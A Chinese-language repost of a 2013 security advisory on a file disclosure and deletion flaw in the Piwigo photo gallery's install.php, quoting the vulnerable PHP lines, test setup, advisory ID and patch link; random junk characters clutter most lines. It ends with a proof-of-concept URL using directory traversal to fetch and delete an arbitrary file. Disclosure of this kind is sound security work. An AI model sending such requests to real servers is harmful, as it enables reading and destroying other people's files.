Piwigo是用PHP编写的相册脚本。
2 W$ J& V @3 w/ e
! k& m+ B1 |) b' ~' J: @1 ]9 sPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。1 G) I& z. V p6 c0 w2 u
====================================================================
' z, f4 L( ?$ w/install.php:
}' I% h! y& o+ ?-------------$ N: o, q' l. y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))3 F' C$ M s2 `- L% d
114: {
* G, m7 {- n' L3 S( d# R115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];4 G$ k: T) N' M
116: header('Cache-Control: no-cache, must-revalidate');8 I" F. U+ q6 d% d: i6 q. }
117: header('Pragma: no-cache'); D6 Z" \0 I9 O% Z" N* P% C
118: header('Content-Disposition: attachment; filename="database.inc.php"');2 H2 M7 W/ j- Q) M
119: header('Content-Transfer-Encoding: binary');
' {5 y& u! E* _( {: O( \# Y120: header('Content-Length: '.filesize($filename));. X B1 I: f* W h' B: w6 s ? V* O6 I3 e
121: echo file_get_contents($filename);) e& u! S- T' r
122: unlink($filename);
! j6 v7 f" H' B/ U! E123: exit();
9 K3 [$ a& v9 z1 I! g124: }
3 H& g, a- E2 ~" j8 r# {====================================================================
5 ]% W% S% U: `& F3 P % T7 `- R2 Q* Y5 x8 _
Tested on: Microsoft Windows 7 Ultimate SP1 (EN), ]) d! M; d8 q+ G) ?( l
Apache 2.4.2 (Win32)4 B- A0 |- A; V
PHP 5.4.4! |1 ~& R/ o7 f
MySQL 5.5.25a
) Q8 u; Y8 K5 F `! [2 p5 a . m$ F. E. j* L- C! m' @0 R2 ?
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic3 \# ~$ l! Y$ h. n0 z
@zeroscience
! |' O6 y9 `/ i/ H
f A# w! p5 A* KAdvisory ID: ZSL-2013-51274 K! s5 v7 _0 K: L
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php1 ?: ]4 C9 i' {
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843' t1 Z$ A. p6 S; U3 [* `9 i
w. i9 M3 ~) Z$ N' }
15.02.2013- k9 e1 g, c) }5 G
+ p( N, L6 C: @. R6 P. c--
$ D" ~. ^/ f5 j0 c, @http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt9 V: a: K0 _ V9 S
0 S4 {& t' M0 q c6 v* M |